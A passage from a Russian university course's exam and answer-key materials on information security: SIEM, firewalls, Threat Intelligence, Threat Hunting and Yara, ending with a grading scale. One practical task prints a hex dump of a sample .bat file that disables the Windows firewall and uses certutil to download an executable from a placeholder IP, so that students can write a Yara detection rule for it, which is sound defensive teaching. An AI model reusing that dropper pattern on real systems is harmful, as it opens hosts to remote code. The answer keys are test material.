физически выполняется на локальной машине, но при этом оно не имеет доступ ни к драйверам, ни к реестру, ни к файловой системе, все эти ресурсы эмулируются.

### 3. Виртуализация представлений (рабочих мест).

Ответы:

-

Верный ответ: Виртуализация представлений подразумевает эмуляцию интерфейса пользователя, т.е. пользователь видит приложение и работает с ним на своём терминале, хотя на самом деле приложение выполняется на удалённом сервере, а пользователю передаётся лишь картинка удалённого приложения.

### 4. Функции межсетевого экрана.

Ответы:

-

Верный ответ: Каждый из фильтров предназначен для интерпретации отдельных правил фильтрации путем выполнения следующих действий: 1. Анализ информации по заданным в интерпретируемых правилах критериям, например по адресам получателя и отправителя или по типу приложения, для которого эта информация предназначена. 2. Принятие на основе интерпретируемых правил одного из следующих решений: - не пропустить данные; - обработать данные от имени получателя и вернуть результат отправителю; - передать данные на следующий фильтр для продолжения анализа; - пропустить данные, игнорируя следующие фильтры. 3. Правила фильтрации могут задавать и дополнительные действия, которые относятся к функциям посредничества, например преобразование данных, регистрацию событий и др. Соответственно, правила фильтрации определяют перечень - - условий, по которым осуществляется: - разрешение или запрещение дальнейшей передачи данных; - выполнение дополнительных защитных функций. 4. В качестве критериев анализа информационного потока могут использоваться следующие параметры: - служебные поля пакетов сообщений, содержащие сетевые адреса, идентификаторы, адреса интерфейсов, номера портов и другие значимые данные; - непосредственное содержимое пакетов сообщений, проверяемое, например, на наличие компьютерных вирусов; - внешние характеристики потока информации, например временные, частотные характеристики, объем данных и т. д.

## 2. Компетенция/Индикатор: ПК-11(Компетенция)

### Вопросы, задания

1. Эвристические алгоритмы детектирования угроз.
2. Язык Yara. Синтаксис. Принцип написания детектирующих правил.
3. Поведенческий анализ. Блокиратор NIPS.
4. Эмуляция кода. Процесс детектирования. Собираемые артефакты.
5. Threat Intelligence. Фиды. Обогащение и анализ. Привести примеры.

### 6. Практическое задание №1

Детектирование файлов с помощью Yara-правил.

```
exam.bat
Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F Decoded text
00000000 40 65 63 68 6F 20 6F 66 66 0D 0A 0D 0A 4E 65 74 @echo off...Net
00000010 53 68 20 41 64 76 66 69 72 65 77 61 6C 6C 20 73 Sh Advfirewall s
00000020 65 74 20 61 6C 6C 70 72 6F 66 69 6C 65 73 20 73 et allprofiles s
00000030 74 61 74 65 20 6F 66 66 0D 0A 63 65 72 74 75 74 tate off..certut
00000040 69 6C 2E 65 78 65 20 2D 75 72 6C 63 61 63 68 65 il.exe -urlcache
00000050 20 2D 73 70 6C 69 74 20 2D 66 20 68 74 74 70 3A -split -f http:
00000060 2F 2F 31 32 2E 33 34 2E 35 36 2E 37 38 2F 63 61 //12.34.56.78/ca
00000070 6C 63 2E 65 78 65] ic.exe]
```

Дано шестнадцатеричное представление .bat файла. Необходимо:

1. Кратко описать функционал файла;
2. Создать детектирующее правило на языке Yara.

## Материалы для проверки остаточных знаний

1. Сигнатурный метод обнаружения это ....

Ответы:

-

Верный ответ: Сигнатурные методы обнаружения - точные методы обнаружения, основанные на сравнении файла/ сетевого пакета с известными образцами.

2. Эвристические методы обнаружения это ....

Ответы:

-

Верный ответ: Эвристические методы - нечеткие методы обнаружения, которые позволяют с определенной вероятностью предположить, что файл / сетевой пакет является вредоносным.

3. Технология Threat Intelligence это ...

Ответы:

-

Верный ответ: Threat Intelligence (ТИ, киберразведка) – знание (включая процесс его получения) об угрозах и нарушителях, обеспечивающее понимание методов, используемых злоумышленниками для нанесения ущерба, и способов противодействия им. ТИ оперирует не только и не столько статической информацией об отдельных уязвимостях и угрозах, сколько более динамичной и имеющей практическое значение информацией об источниках угроз, признаках компрометации (объединяющих разрозненные сведения в единое целое), вредоносных доменах и IP-адресах, взаимосвязях и т.п.

4. Машинное обучение в технологии Threat Hunting.

Ответы:

-

Верный ответ: Алгоритмы машинного обучения (Data Mining), в качестве еще одной техники Threat Hunting, успешно применимы при фильтрации спама, обнаружении вредоносного трафика и детектировании мошеннических действий. Успешно внедренные в процесс ханкинга алгоритмы способны существенно повысить эффективность защиты информации. Указанные алгоритмы можно внедрять в средства защиты информации, которые требуют серьезной ресурсной и организационной подготовки, как в IT, так и в ИБ-секторе.

## 3. Компетенция/Индикатор: ПСК-2(Компетенция)

### Вопросы, задания

1. ОС Linux. Основные компоненты архитектуры и их назначение. Принцип работы ядра.
2. Подсистемы безопасности ОС Windows.
3. Мандатный контроль целостности. Уровни целостности.
4. Системы мониторинга производительности и доступности. Их функции. Привести примеры.
5. SIEM системы. Основные механизмы и решаемые задачи. Примеры SIEM систем.
6. SIEM системы. Применяемые методы и средства.
7. Межсетевой экран нового поколения (NGFW). Принцип работы. Отличия от классического межсетевого экрана. Примеры NGFW.

## Материалы для проверки остаточных знаний

1. Технологии проактивной защиты.

Ответы:

-

Верный ответ: 1. Эвристический анализ; 2. Эмуляция кода; 3. Поведенческий анализ; 4. Sandboxing (Песочница) — ограничение привилегий выполнения; 5.

Виртуализация рабочего окружения; 6. Защита на основе политик; 7. «Белые списки» (Whitelisting); 8. Threat Hunting etc.

## 2. Подсистемы безопасности ОС Linux.

Ответы:

-

Верный ответ: POSIX ACL - Разграничение прав доступа к файлам на основе их атрибутов (Discretionary Access Control, DAC). Sudo - Выполнение программ от своего и/или чужого имени. Chroot - Операция, ограничивающая доступ процесса к файловой системе, изменяя ее корень в контексте процесса. PAM - Подключаемые модули аутентификации. SELinux - Реализация системы принудительного контроля доступа (Mandatory Access Control, MAC), основанная на политиках и контекстах безопасности. AppArmor - Система упреждающей защиты, основанная на политиках безопасности (профилях). PolicyKit - Средство контроля системных привилегий.

## 3. Основные задачи SIEM-систем.

Ответы:

-

Верный ответ: 1. Оперативное обнаружение атак и нарушений политики ИБ; 2. Соотнесение в режиме реального времени событий от разных устройств, выявление инцидентов ИБ и их приоритезация; 3. Автоматическое реагирование на инциденты; 4. Формирование базы знаний по инцидентам; 5. Проведение аудитов и расследований инцидентов; 6. Оценка уровня угроз для отдельных корпоративных ресурсов.

## 4. Механизмы SIEM систем.

Ответы:

-

Верный ответ: Нормализация заключается в приведении собранных из различных источников аудита данных о событиях к единому виду и формату, "понятному" системе и необходимому для дальнейшего анализа и хранения. Фильтрация событий используется для отсеивания избыточных и ненужных для дальнейшего анализа событий. Классификация устанавливает атрибуты события в соответствии с его происхождением, типом и т.п. Механизм агрегации объединяет несколько схожих событий в одно по определенным параметрам или признакам. Корреляция событий позволяет выявлять взаимосвязь между разнородными событиями от различных устройств, приложений и систем безопасности, что позволяет не только обнаруживать атаки на корпоративную информационную систему, но и выявлять нарушения требований и политик безопасности. Приоритезация - это процесс автоматического выставления значимости и критичности произошедшего события или группы событий на основании как предустановленных в системе правил, так и на основании критериев, разработанных администраторами системы. В простейшем случае порядок обработки событий осуществляется именно в порядке перечисления данных механизмов.

## 5. Какие бывают фиды?

Ответы:

-

Верный ответ: 1. IP и DNS-адреса вредоносных сайтов, спамеров, входных узлов Торг, анонимайзеров, открытых прокси... ; 2. Заголовки E-mail; 3. URL и URI; 4. Хеши и пути файлов; 5. CVE-записи; 6. Правила CIDR; 7. Репутация файлов, узлов, сайтов; 8. Ключи реестра; 9. Индикаторы компрометации (IoC); 10. Whois данные; 11. GeoIP – географическая информация об IP-адресе; 12. Статистическая и поведенческая информация – техники, тактики и процедуры проведения атак.

## 6. Какие инструменты используются для классификации данных из фидов.

Ответы:

-  
Верный ответ: Для классификации данных из фидов используются следующие инструменты: 1. Теги; 2. Таксономии – набор библиотек, классифицированных по процессам проведения атаки, распространения угроз, обмена данными и др. Например, ENISA, CSSA, VERIS, Diamond Model, Kill Chain, CIRCL, MISP имеют свои таксономии; 3. Кластеризация – набор библиотек, классифицированных по статическим признакам угроз и атак. Например, секторы экономики; используемые инструменты и эксплоиты; TTP (Tactics, Techniques & Procedures), этапы и методы проникновения, эксплуатации и закрепления в системе, основанные на ATT&CK Matrix.

7. Межсетевые экраны нового поколения (NGFW) – это ...

Ответы:

-  
Верный ответ: Межсетевые экраны нового поколения (NGFW) – это устройства, в которых проводится глубокая проверка пакетов (выходящая за рамки порт/протокол), с возможностью инспектировать и блокировать трафик уровня приложения, включающие в себя встроенные системы предотвращения вторжений и интеллектуальную обработку трафика на основе интеграции с внешними системами.

#### **4. Компетенция/Индикатор: ПСК-3(Компетенция)**

##### **Вопросы, задания**

1. ОС Linux. Подсистемы безопасности. краткое описание и примеры использования.
2. Архитектура ОС Windows.
3. Active Directory. Домены. База данных. Управление учётными записями.
4. Сервис проверки подлинности локальной системы безопасности. Принцип работы. База политик.
5. Технология песочниц. Принципы детектирования приложений песочницей.
6. Стандартные журналы событий ОС. Основные события безопасности. Виды журналов. Краткое описание назначения.

##### **Материалы для проверки остаточных знаний**

1. Проактивные технологии защиты.

Ответы:

-  
Верный ответ: Проактивные технологии защиты – совокупность технологий и методов, используемых в программном и программно-аппаратном обеспечении, основной целью которых, в отличие от реактивных (сигнатурных) технологий, является предотвращение реализации угроз ИБ.

2. Технологии проактивной защиты - анализа поведения.

Ответы:

-  
Верный ответ: Технология анализа поведения реализуется как перехват набора важнейших системных функций или установка т.н. мини-фильтров. При ней отслеживается вся активность пользователя в системе. Технологией поведенческого анализа оценивается как единичное действие, так и вся цепочка действий.

3. Технология проактивной защиты - виртуализации рабочего окружения.

Ответы:

-  
Верный ответ: Технологию виртуализации рабочего окружения осуществляет системный драйвер, используя перехват всех запросов на запись на жесткий диск с выполнением записи в специальную дисковую область – буфер вместо записи на реальный жесткий диск. Однако, технология виртуализации рабочего окружения не

гарантирует защиту от вредоносных программ, цель которых кража конфиденциальных данных, так как не запрещает доступ на чтение к жесткому диску.

4.Компонента безопасности Windows - процедура регистрации (Logon Processes),  
Ответы:

-

Верный ответ: Процедура регистрации (Logon Processes), которая обрабатывает запросы пользователей на вход в систему. Она включает в себя начальную интерактивную процедуру, отображающую начальный диалог с пользователем на экране, и удаленные процедуры входа, которые позволяют удаленным пользователям получить доступ с рабочей станции сети к серверным процессам Windows NT. Процесс Winlogon реализован в файле Winlogon.exe и выполняется как процесс пользовательского режима. Стандартная библиотека аутентификации Gina реализована в файле Msgina.dll.

5.Active Directory и домены Windows.

Ответы:

-

Верный ответ: Active Directory («Активный каталог», AD) — службы каталогов корпорации Microsoft для операционных систем семейства Windows Server. Первоначально создавалась, как LDAP-совместимая реализация службы каталогов, однако, начиная с Windows Server 2008, включает возможности интеграции с другими службами авторизации, выполняя для них интегрирующую и объединяющую роль. Позволяет администраторам использовать групповые политики для обеспечения единообразия настройки пользовательской рабочей среды, разворачивать программное обеспечение на множестве компьютеров через групповые политики или посредством System Center Configuration Manager (ранее — Microsoft Systems Management Server), устанавливать обновления операционной системы, прикладного и серверного программного обеспечения на всех компьютерах в сети, используя Службу обновления Windows Server. Хранит данные и настройки среды в централизованной базе данных.

6.Подсистемы безопасности ОС Windows.

Ответы:

-

Верный ответ: Ядром подсистемы безопасности является локальная служба безопасности (Local Security Authority, LSA), размещающаяся в файле lsass.exe. Стандартный провайдер аутентификации размещается в файле msgina.dll и в качестве аутентифицирующей информации использует пароли пользователей.

7.YARA правила это ....

Ответы:

-

Верный ответ: YARA правила - это способ выявления вредоносных программ (или других файлов) путем создания правил, которые описывают определенные характеристики объекта.

8.Технологии построения защищенных компьютерных сетей.

Ответы:

-

Верный ответ: 1. Межсетевой экран (Firewall vs Next Generation FireWall); 2. Демилитаризованная зона (demilitarized zone или DMZ); 3. Список контроля доступа (Access Control List или ACL ).

9.Технология Threat Hunting.

Ответы:

-



Верный ответ: Threat Hunting — процесс проактивного и итеративного поиска и обнаружения advanced угроз, которые невозможно обнаружить традиционными средствами защиты. К продвинутым угрозам относятся, например, такие атаки, как APT, атаки на 0-day уязвимости и т.д. ТН – это процесс проверки гипотез. Это преимущественно ручной процесс с элементами автоматизации, в рамках которого аналитик, опираясь на свои знания и квалификацию, просеивают большие объемы информации в поисках признаков компрометации, соответствующих первоначально определенной гипотезе о присутствии определённой угрозы.

#### 10. Составляющие технологии Threat Hunting.

Ответы:

-

Верный ответ: 1. Данные (что?), в том числе и Big Data. Всевозможные потоки трафика, информация о ранее проведенных APT, аналитика, данные о пользовательской активности, сетевые данные, информация от сотрудников, информация в даркнете и многое другое. 2. Технологии (как?) обработки этих данных – все возможные способы обработки этих данных, включая Machine Learning. 3. Люди (кто?) – те, кто обладает большим опытом анализа разнообразных атак, развитой интуицией и способностью обнаружить атаку. Обычно это аналитики информационной безопасности, которые должны иметь способность генерировать гипотезы и находить им подтверждение. Они — основное звено процесса.

#### 11. Источники информации Threat Hunting.

Ответы:

-

Верный ответ: Типовыми источниками практически в любой инфраструктуре будут данные от средств защиты: DLP, SIEM, IDS/IPS, WAF/FW, EDR. Также типовыми источниками информации будут являться всевозможные индикаторы компрометации, сервисы Threat Intelligence, данные CERT и OSINT. Дополнительно можно использовать информацию из даркнета (например, внезапно есть заказ на взлом почтового ящика руководителя организации, или своей активностью засветился кандидат на должность сетевого инженера), информацию, полученную от HR (отзывы о кандидате с прошлого места работы), информацию от службы безопасности (например, результаты проверки контрагента).

#### 12. Техники Threat Hunting. Базовый поиск.

Ответы:

-

Верный ответ: Базовый поиск – это наиболее часто используемая техника в Threat Hunting. Этот метод подразумевает использование специализированных запросов, которые возвращают некоторые результаты поиска. Из-за сложности формализации задачи по поиску неизвестной угрозы не всегда возможно однозначно указать, что ищет аналитик, когда начинает поиск. По этой причине область поиска не должна быть ни слишком широкой, охватывающей множество факторов и выдающей обилие результатов, ни слишком узкой, так как появляется высокая вероятность упустить потенциальные угрозы, которые не были включены в поиск.

#### 13. Организационные меры проактивной защиты.

Ответы:

-

Верный ответ: 1. Оценка эффективности защиты периметра сети. 2. Повышение осведомлённости сотрудников в области ИБ. 3. Политика обновления системного и прикладного ПО. 4. Политика резервного копирования. 5.

Управление уязвимостями

#### 14. Организационная мера проактивной защиты - оценка эффективности защиты периметра сети.

Ответы:

Верный ответ: Аудит и анализ защищенности — это комплексные решения, которые помогают организациям определять уязвимости находят слабые места в сети, проводят проверки соответствия стандартам и тестирования на проникновения. Анализ защищенности сети включает в себя: - Обнаружение ресурсов сетевого периметра, уязвимых для атак через интернет; - Оценка уровня критичности уязвимостей и их воздействия на бизнес; - Осуществление сканирования веб-приложений; - Возможность проверки на использование найденных уязвимостей; - Проверка соответствия защиты периметра требованиям безопасности; - Осуществление мониторинга процесса устранения уязвимостей; - Определение закрытой информации в системах или документах; - Анализ тенденций в области проблем безопасности.

#### 15. Управление уязвимостями.

Ответы:

Верный ответ: Уязвимость – это характеристика, которая может быть использована нарушителем при проведении атаки на ИТ-актив и привести к реализации угрозы. Процесс управления уязвимостями – циклические действия, направленные на обнаружение и классификацию уязвимостей, а также на их устранение или снижение последствий их эксплуатации.

#### 16. Создание программы осведомленности.

Ответы:

Верный ответ: Планирование: – Определите ответственных за создание и реализацию программы; – Определите цели и задачи программы; – Определите роли (категории вашей целевой аудитории). Разным ролям потребуется разное обучение в разном объеме, например, все сотрудники, ИТ-персонал, менеджмент, внешние исполнители и т.п.; – Для каждой категории целевой аудитории определите актуальный набор мероприятий (курсы, тренинги, рассылки ...); – Определите способы взаимодействия с аудиторией (семинары, тренинги, мультимедиа курсы, рассылки, бюллетени безопасности, постеры и т.п.); – Определите метрики для анализа эффективности программы – Разработайте план реализации программы и план мероприятий по проверке/тестированию знаний. Внедрение: – Разработайте/приобретите материалы для реализации программы; – Выберите необходимые инструменты для реализации; – Проводите мероприятия в соответствии с программой; – Проводите мероприятия по тестированию осведомленности. Анализ: – Анализируйте результаты и показатели эффективности; – Доводите результаты и получайте обратную связь менеджмента компании; – Получайте обратную связь от аудитории, вовлеченной в обучение (полезность, качество материалов, рекомендуемые изменения и т.п.). Совершенствование: – Развивайте свою систему в соответствии с полученными показателями эффективности, результатами тестирования (проверки знаний) и по результатам обратной связи; – Анализируйте ландшафт угроз и дополняйте свою программу обучения новыми материалами; – Анализируйте новые требования и вносите изменения в программу обучения; – Развивайте свою программу с учетом долгосрочных бизнес-целей компании.

## **II. Описание шкалы оценивания**

Оценка: 5

Нижний порог выполнения задания в процентах: 70

*Описание характеристики выполнения знания:* Работа выполнена в рамках "продвинутого" уровня. Ответы даны верно, четко сформулированные особенности практических решений

*Оценка:* 4

*Нижний порог выполнения задания в процентах:* 60

*Описание характеристики выполнения знания:* Работа выполнена в рамках "базового" уровня. Большинство ответов даны верно. В части материала есть незначительные недостатки

*Оценка:* 3

*Нижний порог выполнения задания в процентах:* 50

*Описание характеристики выполнения знания:* Работа выполнена в рамках "порогового" уровня. Основная часть задания выполнена верно. на вопросы углубленного уровня

### ***III. Правила выставления итоговой оценки по курсу***